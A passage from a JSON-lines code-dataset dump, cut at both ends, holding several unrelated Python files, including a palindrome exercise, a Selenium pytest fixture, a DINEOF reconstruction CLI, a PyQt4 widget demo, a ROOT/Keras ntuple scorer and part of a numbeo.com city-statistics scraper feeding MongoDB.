un palindromo:\")\n\nlunghezza=len(parola)\nstartPos=0\nendPos=lunghezza-1\n\"\"\"\nif lunghezza%2==0:\n pari=True\nelse:\n pari=False\n\nIn realtà non serve differenziare tra parole pari o dispari, andando a fare il for da\n0 a lunghezza//2 arriveremo sempre alla lettera che ci serve, sia se la parola è pari sia se è dispari\n\"\"\"\npalindromo=True #LO SUPPONIAMO VERO, LO RENDIAMO FALSO QUANDO SCOPRIAMO CHE UNA LETTERA NON E SPECCHIATA\ni=0\n\nwhile(endPos-i>=1):\n \"\"\"\n Dovendo ignorare spazi e punti, la condizione non può essere più come quella dell'es. precedente\n in cui bloccavo raggiunta la metà della parola, ma devo continuare finche le lettere che analizzo\n hanno al max 1 carattere in mezzo (nel caso di frasi con numero di caratteri dispari) o 0 se pari.\n \"\"\"\n if (parola[i]).isalpha()==False: #Se il carattere della stringa non è una lettera dell'alfabeto ignorala e vai avanti.\n i+=1\n if (parola[endPos]).isalpha()==False: #Se il carattere della stringa non è una lettera dell'alfabeto ignorala e vai avanti.\n endPos-=1\n print(parola[i],\"vs\",parola[endPos]) #TEST\n if parola[i]!=parola[endPos]:\n palindromo=False\n endPos-=1\n i+=1\n\nif palindromo:\n print(\"La parola è palindroma.\")\nelse:\n print(\"La parola non è palindroma\")\n","repo_name":"ignaziocapuano/workbook_ex","sub_path":"cap3/ex_76.py","file_name":"ex_76.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40012975557","text":"import os\nimport time\n\nimport allure\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options as ChromeOptions\nfrom selenium.webdriver.firefox.options import Options as FirefoxOptions\n\n\ndef pytest_addoption(parser):\n parser.addoption('--browser_name', action='store', default=\"chrome\",\n help=\"Choose browser: chrome or firefox\")\n parser.addoption('--language', action='store', default=\"en\",\n help=\"Choose browser language\")\n parser.addoption('--headless', action='store', default=\"true\",\n help=\"Choose launch mode\")\n parser.addoption('--window', action='store', default=\"1920,1080\",\n help=\"Choose window size\")\n\n\n@pytest.fixture(scope=\"function\")\ndef browser(request):\n browser_name = request.config.getoption(\"browser_name\")\n user_language = request.config.getoption(\"language\")\n headless = request.config.getoption(\"headless\")\n width, height = request.config.getoption(\"window\").split(',')\n width, height = int(width), int(height)\n\n if browser_name == \"chrome\":\n options = ChromeOptions()\n options.add_experimental_option('prefs', {'intl.accept_languages': user_language})\n options.add_argument('headless') if headless == 'true' else None\n options.add_argument('--no-sandbox')\n options.add_argument('--disable-gpu')\n print(\"\\nstart chrome browser for test..\")\n browser = webdriver.Chrome(options=options)\n browser.set_window_size(width, height)\n request.cls.driver = browser\n elif browser_name == \"firefox\":\n fp = webdriver.FirefoxProfile()\n fp.set_preference(\"intl.accept_languages\", user_language)\n options = FirefoxOptions()\n options.headless = True if headless == 'true' else False\n print(\"\\nstart chrome browser for test..\")\n browser = webdriver.Firefox(firefox_profile=fp, options=options)\n browser.set_window_size(width, height)\n request.cls.driver = browser\n else:\n raise pytest.UsageError(\"--browser_name should be chrome or firefox\")\n yield browser\n print(\"\\nquit browser..\")\n browser.quit()\n\n\n@pytest.hookimpl(hookwrapper=True, tryfirst=True)\ndef pytest_runtest_makereport(item, call):\n outcome = yield\n rep = outcome.get_result()\n setattr(item, \"rep_\" + rep.when, rep)\n return rep\n\n\n@pytest.fixture(autouse=True)\ndef take_screenshot_if_test_fail(request, browser):\n yield request.cls.driver\n directory = os.path.join(os.path.dirname(__file__), '../failures-screenshots/')\n if not os.path.exists(directory):\n os.mkdir(directory)\n if request.node.rep_setup.failed:\n try:\n allure.attach(\n request.cls.driver.get_screenshot_as_png(),\n name='screenshot',\n attachment_type=allure.attachment_type.PNG\n )\n request.cls.driver.save_screenshot(os.path.join(directory, 'screenshot' + str(time.time()) + '.png'))\n except:\n pass\n elif request.node.rep_setup.passed:\n if request.node.rep_call.failed:\n try:\n allure.attach(\n request.cls.driver.get_screenshot_as_png(),\n name='screenshot',\n attachment_type=allure.attachment_type.PNG\n )\n request.cls.driver.save_screenshot(os.path.join(directory, 'screenshot' + str(time.time()) + '.png'))\n except:\n pass\n else:\n raise Exception\n","repo_name":"nsenatorova/Final_Project_QA","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"75041479404","text":"N=int(input())\narr=[[] for _ in range(N)]\n\nMap=[]\nfor _ in range(5):\n Map.append(list(input()))\n\nrule=[[1],[1,4],[],[1,2,3,7],[0,1,2,3,4,5,6,7,8,9],[5,6],[1,7],\n [0,1,7],[],[1,3,4,5,7,9],[0,1,2,3,4,5,6,7,8,9],[2],[1,4,7],\n [1,4,7],[]]\nlow_bound=0\nfor k in range(N):\n possible=set([0,1,2,3,4,5,6,7,8,9])\n tem=[]\n for i in range(5):\n for j in range(3):\n if Map[i][low_bound+j]==\"#\":\n tem=rule[i*3+j]+tem\n low_bound+=4\n arr[k]=list(possible.difference(set(tem)))\n\nflag=1\nfor i in arr:\n if len(i)==0:\n flag=0\nif flag:\n result=0\n temp_sum=[0 for _ in range(N)]\n for i in range(N):\n for j in range(len(arr[i])):\n temp_sum[i]+=arr[i][j]\n for i in range(N):\n result*=10\n result+=temp_sum[i]/len(arr[i])\n print(result)\n \nelse:\n print(-1)","repo_name":"Yoon-HP/Algorithm-study","sub_path":"백준/Gold/1089. 스타트링크 타워/스타트링크 타워.py","file_name":"스타트링크 타워.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39024032202","text":"# -*- coding: utf-8 -*-\n'''\nCreated on Thu Mar 2 17:54:59 2023\n\n@author: Md Sakib Nawaz\n'''\n\n# Class code.\n\n# Numpy, matplotlib.pyplot and OS libraries are imported. \nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n'''\nA class definition with 3 functions which will plot data,\nsimulate data and save the data into the main code directory.\n'''\n\nclass PlotAndSimulateClass:\n \n # A function which will plot data from the file or the simulated data.\n def plot_data(self, data, plot_type):\n '''\n This checks if the plot_type argument is '1' or '2'. if '1', it will \n create a normal plot and if '2' it will create a scatter plot.\n '''\n if plot_type == '1':\n \n '''\n This tries to create a normal plot using the data argument.If it \n encounters a ValueError, it will print an error message and return False.\n '''\n try:\n plt.plot(data)\n plt.xlabel('X Values')\n plt.ylabel('Y Values')\n plt.title('X vs Y Normal Plot')\n plt.show()\n except ValueError:\n print(\"\\nValue Error !!!\\n\\nSorry plotting not possible. Try Scatter plotting\")\n return False\n\n elif plot_type == '2':\n '''\n This tries to create a scatter plot using the data argument. If it \n encounters a ValueError, it will print an error message and return False.\n '''\n try:\n plt.scatter(np.arange(len(data)), data)\n plt.xlabel('X Values')\n plt.ylabel('Y Values')\n plt.title('X vs Y Scatter Plot')\n plt.show()\n except ValueError:\n print(\"\\nValue Error: x and y must be the same size !!!\\n\\nSorry plotting not possible. Try Normal plotting\")\n return False\n\n # A function which will simulate random data array. \n def simulate_data(self, rows, cols):\n\n # This generates a 2D array of random numbers using NumPy and returns it.\n data = np.random.rand(rows, cols)\n return data\n \n\n # A function which will save the simulated random data array as txt file in the main code directory.\n def save_data(self, data, filename):\n \n '''\n This opens a file with the given filename and writes each element of the data array\n to a new line in the file. It then prints a success message, file name and the file location.\n '''\n with open(filename, 'w') as f:\n for num in data:\n f.write(str(num) + '\\n')\n print(f\"\\nData saved successfully\\n\\nFile name: {filename}\")\n print(f\"File location: {os.path.abspath(filename)}\")","repo_name":"nawazmdsakib/PythonProject-DataSoftware","sub_path":"plotSimulate.py","file_name":"plotSimulate.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"30318643268","text":"\"\"\"\n CLI for GHER DINEOF.\n\"\"\"\n\nimport os\nimport sys\nimport pathlib as pb\nimport argparse\nimport copy\nimport datetime\nimport typing as T\n\nimport ray\nimport numpy as np\nimport pandas as pd\nfrom loguru import logger\n\nDIR_PATH = pb.Path(sys.argv[0]).resolve().parent\nROOT_PATH = DIR_PATH.parent\n# HACK: For ray to be able to import from parent directory\nos.environ[\"PYTHONPATH\"] = str(ROOT_PATH) + \":\" + os.environ.get(\"PYTHONPATH\", \"\")\nsys.path.append(str(ROOT_PATH))\nimport script.script_utils as sutils\nfrom model import DINEOFGHER, model_utils as mutils\n\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='DINEOF3 main entry.')\n\n # One tensor to reconstruct scenario (All default values are Nones to not override config values in vain)\n parser.add_argument('-c', '--config', help='Base config that could be overriden with other cli args', type=str, required=True)\n\n parser.add_argument('-t', '--tensor', type=str, help='Path to numpy representation of a tensor to reconstruct', default=None)\n parser.add_argument('-O', '--out', type=str, help='Save path for the reconstruction', default=None)\n parser.add_argument('-T', '--timeline', type=str, help='Path to numpy representation of a timeline', default=None)\n parser.add_argument('-m', '--mask', type=str, help='Path to numpy representation of a mask', default=None)\n parser.add_argument('--tensor-shape', nargs=3, type=int, help='Tensor shape', default=None)\n parser.add_argument('--trials', type=int, default=None)\n parser.add_argument('--start-trial', type=int, default=None)\n parser.add_argument('--logs', type=str, default=None)\n\n # Aggretated scenario args (Basically multiplies config with all tensors of the satellite with different tensors, out etc...)\n parser.add_argument('-S', '--satellite', type=str, default=None)\n parser.add_argument('--satellite-descriptor'\n , type=str\n , help='Path to .csv file with key-value pairs that maps satellites to base dirs'\n , default=None)\n parser.add_argument('--only-years', type=str, nargs='+', help='Used only with --satellite to reconstruct only specified years.', default=None)\n parser.add_argument('--input-stem', type=str, default=None)\n parser.add_argument('--output-stem', type=str, default=None)\n parser.add_argument('--static-grid-stem', type=str, default=None)\n parser.add_argument('--interpolated-stem', type=str, default=None)\n parser.add_argument('--unified-tensor-stem', type=str, default=None)\n parser.add_argument('--timeline-stem', type=str, default=None)\n parser.add_argument('-p', '--process-count', type=int, default=np.inf)\n\n args = parser.parse_args()\n\n config = sutils.load_config(args.config)\n\n # Update parameters from config with CLI\n args.config = None # HACK: To avoid setting config property inside config Namespace\n for k, v in vars(args).items():\n if v is not None:\n setattr(config, k, v)\n\n # Expand config to configs if aggregating (satellite) option is provided\n if config.satellite is not None:\n if args.satellite_descriptor is not None:\n setattr(config, 'satellite_descriptor', args.satellite_descriptor)\n\n df = pd.read_csv(config.satellite_descriptor)\n satellite_base_dir = df[df.satellite == args.satellite].base_dir.iloc[0]\n\n input_dirs, output_dirs = \\\n sutils.parse_satellite(satellite_base_dir\n , input_stem=config.input_stem\n , output_stem=config.output_stem\n , only_years=config.only_years)\n\n base_config = copy.deepcopy(config)\n config = []\n for i, o in zip(input_dirs, output_dirs):\n sub_config = copy.deepcopy(base_config)\n\n sub_config.input_dir = i\n sub_config.output_dir = o\n sub_config.tensor = str(pb.Path(i) / base_config.interpolated_stem / f'{base_config.unified_tensor_stem}.npy')\n sub_config.out = str(pb.Path(o) / f'{base_config.unified_tensor_stem}_dineofgher')\n sub_config.output_stem = base_config.unified_tensor_stem\n sub_config.timeline = str(pb.Path(i) / base_config.interpolated_stem / f'{base_config.timeline_stem}.npy')\n sub_config.mask = str(pb.Path(i) / base_config.static_grid_stem / 'mask.npy')\n \n config.append(sub_config)\n\n return config\n\n\ndef _main_atom(args):\n from loguru import logger # HACK: Allows to separate loggers between ray processes\n\n year = args.input_dir.split('/')[-2]\n dt = datetime.datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\")\n logger.add(\n str(pb.Path(args.logs) / (dt + '-' + year + '.log'))\n , format='{time} {level} {message}'\n )\n\n logger.info(f'Config: {args}')\n\n # Wrap contents into another function to catch exceptions to log files\n @logger.catch(reraise=True)\n def _main_atom_(X, y, base_stat):\n logger.info('### Calling _main_atom_ ###')\n\n base_stat = copy.deepcopy(base_stat)\n \n d = DINEOFGHER(args)\n stats = d.fit(\n unified_tensor_path=args.tensor # Correct order of axes: (lat, lon, t)\n , mask_path=args.mask\n , timeline_path=args.timeline\n \n , output_dir=args.output_dir\n , output_stem=args.output_stem\n\n , zero_negative_in_result_tensor=True\n )\n \n stats = [{\n **s\n , **base_stat\n , 'train_points_num': base_stat['known_points_num'] - s['val_points_num']\n , 'nrmse': np.nan\n , 'grad_conv_error': np.nan\n } for s in stats]\n\n logger.success(str(stats))\n \n return stats\n\n # Prepare tensor\n mask = np.load(args.mask).astype(bool)\n tensor = np.load(args.tensor)\n tensor[~mask] = np.nan\n \n # Extract features\n # 2D array, where each row is (lat, lon, day)\n X = np.asarray(np.nonzero(~np.isnan(tensor))).T\n y = tensor[tuple(X.T)]\n \n # Build base_stat\n base_stat = {\n 'year': year\n , 'masked_points_num': mask.sum() * args.tensor_shape[-1]\n }\n\n stats = []\n rng = np.random.RandomState(args.random_seed)\n for t in range(args.start_trial, args.trials):\n if t < 1:\n Xb, yb = copy.deepcopy(X), copy.deepcopy(y)\n else:\n Xb, yb = sutils.bootstrap(X, y, rng=rng, keep_unique_only=True)\n \n args.tensor = str(pb.Path(args.input_dir) / args.interpolated_stem / 'tmp_unified_tensorb.npy')\n tensorb = mutils.tensorify(Xb, yb, tensor.shape)\n np.save(args.tensor, tensorb)\n \n base_statb = copy.deepcopy(base_stat)\n base_statb['trial'] = t\n base_statb['known_points_num'] = yb.shape[0]\n base_statb['missing_ratio'] = (mask.sum() * args.tensor_shape[-1] - yb.shape[0]) / (mask.sum() * args.tensor_shape[-1])\n \n statsb = _main_atom_(Xb, yb, base_statb)\n stats.extend(statsb)\n \n df = pd.DataFrame(statsb)\n output_path = f\"{args.out}_{args.interpolated_stem}_nes_trial_{t:02d}.csv\"\n df.to_csv(output_path, index=False)\n \n df = pd.DataFrame(stats)\n output_path = f\"{args.out}_{args.interpolated_stem}_nes.csv\"\n df.to_csv(output_path, index=False)\n \n\n@ray.remote\ndef _main_atom_ray(*args, **kwargs):\n return _main_atom(*args, **kwargs)\n\n\ndef main():\n config = parse_args()\n\n is_list = isinstance(config, T.List)\n if is_list and len(config) > 1:\n # Launch each config in parallel\n num_cpus = min(len(config), config[0].process_count)\n logger.info(f'num cpus: {num_cpus} is used for {len(config)} configs.')\n ray.init(num_cpus=num_cpus)\n ray.get([_main_atom_ray.remote(c) for c in config])\n ray.shutdown()\n # _main_atom(config[0])\n else:\n if is_list:\n config = config[0] \n _main_atom(config)\n\n\n# def main():\n# args = parse_args()\n# config = sutils.load_config(args.config)\n# d = DINEOFGHER(config)\n\n# d.fit(\n# args.tensor # Correct order of axes: (lat, lon, t)\n# , args.mask\n# , args.timeline\n \n# , args.output_dir\n# , args.output_stem\n\n# , args.zero_negative\n# )\n\nif __name__ == '__main__':\n main()\n","repo_name":"theleokul/tieof","sub_path":"script/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8427,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"19"} +{"seq_id":"26009392390","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n# PyQt4 - створення елемента керування\r\nВ прикладі показано створення нового елемента керування (GUI-віджету) `MyButton` шляхом успадкування класу `QPushButton` (кнопка). На відміну від базового класу нова кнопка володіє атрибутом `state`, логічне значення якого змінюється на протилежне під час натиску на неї. Крім того це значення відображається на самій кнопці.\r\n\"\"\"\r\nimport sys\r\nfrom PyQt4.QtCore import *\r\nfrom PyQt4.QtGui import *\r\n\r\nclass MyButton(QPushButton): # клас успадковує QPushButton\r\n state = True\r\n def __init__(self, state,parent=None): # конструктор\r\n super(MyButton, self).__init__(parent) # виклик конструктора QPushButton\r\n self.state=state # стан кнопки (True, False)\r\n self.setText(self.state.__str__()) # установити надпис на кнопці\r\n # приєднати сигнал clicked() до слота self.change_state()\r\n self.connect(self, SIGNAL(\"clicked()\"), self.change_state)\r\n def change_state(self): # обробник сигналу clicked()\r\n if self.state: # якщо стан True\r\n self.emit(SIGNAL(\"state_true\"), self.state) # генерувати сигнал state_true\r\n self.state=False # змінити стан\r\n else: # інакше генерувати сигнал state_false\r\n self.emit(SIGNAL(\"state_false\"), self.state)\r\n self.state=True # змінити стан\r\n self.setText(self.state.__str__()) # установити надпис на кнопці\r\n \r\nclass My_Dialog(QDialog): # клас вікна успадковує QDialog\r\n def __init__(self, parent=None): # конструктор\r\n super(My_Dialog, self).__init__(parent) # виклик конструктора QDialog\r\n self.resize(230, 100) # змінити розмір вікна\r\n self.pushButton1 = MyButton(True,self) # кнопка\r\n self.pushButton1.setGeometry(QRect(25, 50, 90, 30)) # змінити геометрію кнопки\r\n self.pushButton2 = MyButton(False,self) # кнопка\r\n self.pushButton2.setGeometry(QRect(120, 50, 90, 30)) # змінити геометрію кнопки\r\n self.lineEdit = QLineEdit(self) # поле редагування\r\n self.lineEdit.setGeometry(QRect(25, 10, 90, 30)) # змінити геометрію поля редагування\r\n # приєднати сигнали до слотів\r\n self.connect(self.lineEdit, SIGNAL(\"textChanged(QString)\"),\r\n self, SLOT(\"setWindowTitle(QString)\"))\r\n self.connect(self.pushButton1, SIGNAL(\"state_true\"), self.slot)\r\n self.connect(self.pushButton2, SIGNAL(\"state_true\"), self.slot) \r\n def slot(self): # обробник сигналу state_true\r\n button = self.sender() # компонент, що надіслав сигнал\r\n # якщо це ніякий компонент або не об'єкт класу MyButton\r\n if button is None or not isinstance(button, MyButton):\r\n return # то вийти\r\n global x # звернення до глобальної змінної\r\n if button==self.pushButton1: x+=1 # якщо кнопка pushButton1\r\n else: x-=1 # інакше\r\n self.lineEdit.setText(x.__str__())\r\nx=0 # глобальна змінна \r\napp = QApplication(sys.argv) # створити застосування\r\ndialog = My_Dialog() # створити вікно\r\ndialog.show() # показати вікно\r\napp.exec_() # виконати застосування\r\n\"\"\"\r\n![](fig.png)\r\n\r\nРисунок - Вікно програми\r\n\"\"\"\r\n","repo_name":"vkopey/Python-for-engineers-and-scientists","sub_path":"External libraries/PyQt4 - створення елемента керування/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"uk","doc_type":"code","stars":10,"dataset":"github-code","pt":"19"} +{"seq_id":"6053926057","text":"'''\n\nCode that takes as input one of Xin's analysis ntuples, and should return a root file containing the same TTree but with the DNN score\n\n# https://root-forum.cern.ch/t/adding-a-branch-to-an-existing-tree/9449\n# https://root-forum.cern.ch/t/pyroot-adding-a-branch-to-a-tree/2918/2\n# https://root-forum.cern.ch/t/creating-branches-in-python/16677\n# https://web.archive.org/web/20150124185243/http://wlav.web.cern.ch/wlav/pyroot/tpytree.html\n# https://root.cern.ch/root/roottalk/roottalk01/0363.html\n\n'''\n\nfrom __future__ import print_function, division, absolute_import\n\nfrom ROOT import TTree, TFile, TBranch\nfrom keras.models import load_model\nimport numpy as np\nimport sys\nimport os\nimport math\nimport glob \nimport yaml\nfrom shutil import copyfile\nfrom array import array\n\n\nclass MLntuple(object):\n\t\n\tdef __init__(self,models_path,infiles=[]):\n\t\t\n\t\t\n\t\tself.modelLoc = sorted(glob.glob(models_path+'/*'))\n\t\tself.models = {}\n\t\tself.modelXmax = {}\n\t\tself.modelIndices = {}\n\t\tfor k in self.modelLoc:\n\t\t\tself.modelXmax[os.path.basename(k)] = np.load(k+'/X_max.npy')\n\t\t\tself.models[os.path.basename(k)] = load_model(k+'/model.h5')\n\t\t\tself.modelIndices[os.path.basename(k)] = yaml.load(open(k+'/indices.yaml','r'))\n\t\tself.modelNames = [os.path.basename(x) for x in self.modelLoc]\n\t\t\n\t\tself.infiles = infiles\n\t\tself.setOutput()\n\t\t\n\t\tself.predictions = {}\n\t\tfor k in self.models.keys():\n\t\t\tself.predictions[k] = {}\n\t\t\tfor f in self.infiles:\n\t\t\t\tself.predictions[k][os.path.basename(f)] = []\n\t\n\t\n\tdef setOutput(self,directory=\"DNN_ntuples\"):\n\t\tself.outdir = directory\n\t\t\n\tdef addFromList(self,l):\n\t\tself.infiles += l\n\tdef addFromFile(self,infile):\n\t\twith open(infile,r) as f:\n\t\t\tfor item in f:\n\t\t\t\tself.infiles.append(item.replace('\\n',''))\n\tdef addFile(self,f):\n\t\tif \".root\" in f:\n\t\t\tself.infiles.append(f)\n\t\telse:\n\t\t\ttry:\n\t\t\t\tcond = os.path.isfile(f)\n\t\t\texcept TypeError:\n\t\t\t\tself.addFromList(f)\n\t\t\telse:\n\t\t\t\tif cond: self.addFromFile(f)\n\t\t\t\telse: raise IOError(\"Cannot find file / Cannot understand type of: \", f)\n\t\t\t\t\n\tdef run(self,suffix='DNN'):\n\t\tif not os.path.isdir(self.outdir): os.mkdir(self.outdir)\n\t\t\n\t\tfor f in self.infiles:\n\t\t\t\n\t\t\tnewF = self.outdir + \"/\" + os.path.basename(f).replace(\".root\",\".\"+suffix+\".root\")\n\t\t\tif os.path.isfile(newF): \n\t\t\t\tprint(\"File exists: \", newF)\n\t\t\t\tcontinue\n\t\t\tcopyfile(f,newF)\n\t\t\t\n\t\t\ttry:\n\t\t\t\tTF = TFile(newF,'update')\n\t\t\t\tTT = TF.Get(\"DmlNtup\")\n\t\t\t\t\n\t\t\t\tdicOfArrays = {}\n\t\t\t\tdicOfBranches = {}\n\t\t\t\tfor k in self.models.keys():\n\t\t\t\t\tdicOfArrays[k] = array(\"f\",[0.0])\n\t\t\t\t\tdicOfBranches[k] = TT.Branch( \"MLscore_\"+k,dicOfArrays[k], \"MLscore_\"+k+'/F')\n\t\t\t\t\n\t\t\t\tfor n in range(0,TT.GetEntries()):\n\t\t\t\t\tpredArray = np.zeros( (1,47) ) \n\t\t\t\t\tpev = TT.GetEntry(n)\n\t\t\t\t\terec = TT.tt_bgoTotalE_GeV * 1000\t\t# DNN trained in MeV\n\t\t\t\t\t\n\t\t\t\t\tfor frac_i in range(0,14):\n\t\t\t\t\t\tpredArray[0,frac_i] = getattr(TT,\"tt_F\"+str(frac_i)) * erec\t# Energy fraction goes like tt_F0, tt_F1, ...\n\t\t\t\t\t\t#~ predArray[n,frac_i] = getattr(TT,\"tt_F\"+str(frac_i))\n\t\t\t\t\tfor rms_i in range(0,14):\n\t\t\t\t\t\tpredArray[0,rms_i+14] = getattr(TT,\"tt_Rms\"+str(rms_i))\n\t\t\t\t\tfor hits_i in range(0,14):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tpredArray[0,hits_i+28] = ord(getattr(TT,\"tt_nBarLayer\"+str(hits_i)))\n\t\t\t\t\t\texcept AttributeError:\n\t\t\t\t\t\t\tpredArray[0,hits_i+28] = 0\n\t\t\t\t\t\n\t\t\t\t\tpredArray[0,42] = TT.tt_Rmsl\n\t\t\t\t\tpredArray[0,43] = TT.tt_Rmsr\t\t\t\n\t\t\t\t\tpredArray[0,44] = erec\n\t\t\t\t\tpredArray[0,45] = TT.tt_nBgoHits\n\t\t\t\t\t\n\t\t\t\t\tXZ = TT.tt_bgoRecSlopeX\n\t\t\t\t\tYZ = TT.tt_bgoRecSlopeY\n\t\t\t\t\ttgZ = math.atan(np.sqrt( (XZ*XZ) + (YZ*YZ) ) )\n\t\t\t\t\t\n\t\t\t\t\tpredArray[0,46] = tgZ*180./math.pi\n\t\t\t\t\t\n\t\t\t\t\t#Prediction part\n\t\t\t\t\tfor k in self.models.keys():\n\t\t\t\t\t\t\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tself.predictions[k][os.path.basename(f)].append( self.models[k].predict( predArray[:,self.modelIndices[k]]/self.modelXmax[k]) )\n\t\t\t\t\t\texcept KeyError:\n\t\t\t\t\t\t\tself.predictions[k][os.path.basename(f)] = [ self.models[k].predict( predArray[:,self.modelIndices[k]]/self.modelXmax[k]) ]\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tdicOfArrays[k][0] = self.predictions[k][os.path.basename(f)][n]\n\t\t\t\t\t\tdicOfBranches[k].Fill()\n\t\t\t\t# END FOR\n\t\t\t\tTT.Write()\n\t\t\t\tTF.Close()\n\t\t\texcept:\n\t\t\t\tos.remove(newF)\n\t\t\t\traise\n\t\t\t\n\tdef savePredictions(self,outfile):\n\t\twith open(outfile,'w') as f:\n\t\t\tyaml.dump(self.predictions,f)\n\t\n\n\n\nif __name__ == '__main__' :\n\t\n\tsuffix = 'DNN'\n\t\n\tanalyser = MLntuple(sys.argv[1])\n\tanalyser.addFile(sys.argv[2])\n\tanalyser.run(suffix=suffix)\n\t\n\t\n\tanalyser.savePredictions(sys.argv[3])\n","repo_name":"david-droz/DmpAnalysis","sub_path":"DNN/ntuple_DNN.py","file_name":"ntuple_DNN.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"16349677877","text":"from urllib import response\nimport requests\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nfrom time import time, sleep\nimport random\nimport json\nimport numpy as np\nimport math\nimport mongodb_setup as mongo\n\nto_scrape = [\n \"https://www.numbeo.com/cost-of-living\",\n \"https://www.numbeo.com/crime\",\n \"https://www.numbeo.com/quality-of-life\",\n \"https://www.numbeo.com/property-investment\"\n]\n\n\ndef trusty_sleep(n):\n start = time()\n while (time() - start < n):\n sleep(n - (time() - start))\n\n\ndef getUrl(main_link, year):\n return main_link + \"/region_rankings.jsp?title=\" + str(year) + \"®ion=150\"\n\ndef push_to_mongo(to_save):\n myconn = mongo.connect()\n mydb = mongo.createDB(myconn)\n mycoll = mongo.createColl(mydb)\n mongo.populateDB(mycoll, to_save)\n print(\"Data saved in database.\")\n\ndef editJSON(to_save, countries):\n print(\"Parsing JSON...\")\n result = []\n for country in countries:\n cities = [*to_save[country]]\n for city in cities:\n result.append({\n 'city': city, 'country': country, 'metrics': to_save[country][city]})\n with open(\"new_scraped_results.txt\", \"w\") as f:\n json.dump(result, f)\n print(\"JSON parsed.\")\n push_to_mongo(to_save)\n\ndef calc_response(to_save, countries, current_year):\n print(\"Creating response variable...\")\n weights = {\"cost_of_living_index\": -1, \"rent_index\": 1,\n \"groceries_index\": -0.5, \"restaurant_price_index\": -0.5, \"local_ppi_index\": 1, \"crime_index\": -1, \"safety_index\": 1, \"qol_index\": 1, \"ppi_index\": 1, \"health_care_index\": 1,\n \"traffic_commute_index\": -0.5, \"pollution_index\": -1, \"climate_index\": 0.5, \"gross_rental_yield_centre\": 1,\n \"gross_rental_yield_out\": 1, \"price_to_rent_centre\": -1, \"price_to_rent_out\": -1, \"affordability_index\": 1}\n for country in countries:\n cities = [*to_save[country]]\n for city in cities:\n for year in range(2017, current_year + 1):\n resp = 0\n for key in [*weights]:\n resp += (to_save[country][city][str(year)][key] * weights[key])\n to_save[country][city][str(year)][\"y\"] = round(resp, 2)\n print(\"Response variable created.\")\n with open(\"scraped_results.json\", \"w\") as f:\n json.dump(to_save, f, indent=4)\n editJSON(to_save, countries)\n\n\ndef generate_missing(to_save, current_year, countries):\n print(\"Generating missing values...\")\n allkeys = {\"cost_of_living_index\": 0, \"rent_index\": 1,\n \"groceries_index\": 2, \"restaurant_price_index\": 3, \"local_ppi_index\": 4, \"crime_index\": 5, \"safety_index\": 6, \"qol_index\": 7, \"ppi_index\": 8, \"health_care_index\": 9,\n \"traffic_commute_index\": 10, \"pollution_index\": 11, \"climate_index\": 12, \"gross_rental_yield_centre\": 13,\n \"gross_rental_yield_out\": 14, \"price_to_rent_centre\": 15, \"price_to_rent_out\": 16, \"affordability_index\": 17}\n \n rand_dists = {}\n skipped = set()\n means_general = [[0, 0] for col in range(len(allkeys))]\n st_devs_general = [[0, 0] for col in range(len(allkeys))]\n for country in countries:\n means = [[0, 0] for col in range(len(allkeys))]\n cities = [*to_save[country]]\n for city in cities:\n for year in range(2017, current_year + 1):\n for key in [*allkeys]:\n if to_save[country][city][str(year)][key] != None:\n means[allkeys[key]][0] += to_save[country][city][str(year)][key]\n means[allkeys[key]][1] += 1\n means_general[allkeys[key]][0] += to_save[country][city][str(year)][key]\n means_general[allkeys[key]][1] += 1\n \n no_vals = False\n for key in [*allkeys]:\n if not no_vals:\n try:\n means[allkeys[key]][0] = means[allkeys[key]][0] / means[allkeys[key]][1]\n except:\n no_vals = True\n skipped.add(country)\n break\n else:\n break\n \n if not no_vals:\n st_devs = [0 for col in range(len(allkeys))]\n for city in cities:\n for year in range(2017, current_year + 1):\n for key in [*allkeys]:\n if to_save[country][city][str(year)][key] != None:\n st_devs[allkeys[key]] += math.pow((to_save[country][city][str(year)][key] - means[allkeys[key]][0]), 2)\n st_devs_general[allkeys[key]][0] += math.pow((to_save[country][city][str(year)][key] - means[allkeys[key]][0]), 2)\n st_devs_general[allkeys[key]][1] += 1\n for key in [*allkeys]:\n if(means[allkeys[key]][1] == 1):\n st_devs[allkeys[key]] = 0\n else:\n st_devs[allkeys[key]] = math.sqrt(st_devs[allkeys[key]] / (means[allkeys[key]][1] - 1))\n\n rand_dists[country] = [[] for col in range(len(allkeys))]\n for key in [*allkeys]:\n rand_dists[country][allkeys[key]] = np.random.normal(means[allkeys[key]][0], st_devs[allkeys[key]], 15)\n\n for key in [*allkeys]:\n means_general[allkeys[key]][0] = means_general[allkeys[key]][0] / means_general[allkeys[key]][1]\n\n for key in [*allkeys]:\n st_devs_general[allkeys[key]][0] = st_devs_general[allkeys[key]][0] / st_devs_general[allkeys[key]][1]\n if(means_general[allkeys[key]][1] == 1):\n st_devs_general[allkeys[key]][0] = 0\n else:\n st_devs_general[allkeys[key]][0] = math.sqrt(st_devs_general[allkeys[key]][0] / (means_general[allkeys[key]][1] - 1))\n\n for c in skipped:\n del to_save[c]\n countries = [*to_save]\n for country in countries:\n cities = [*to_save[country]]\n for city in 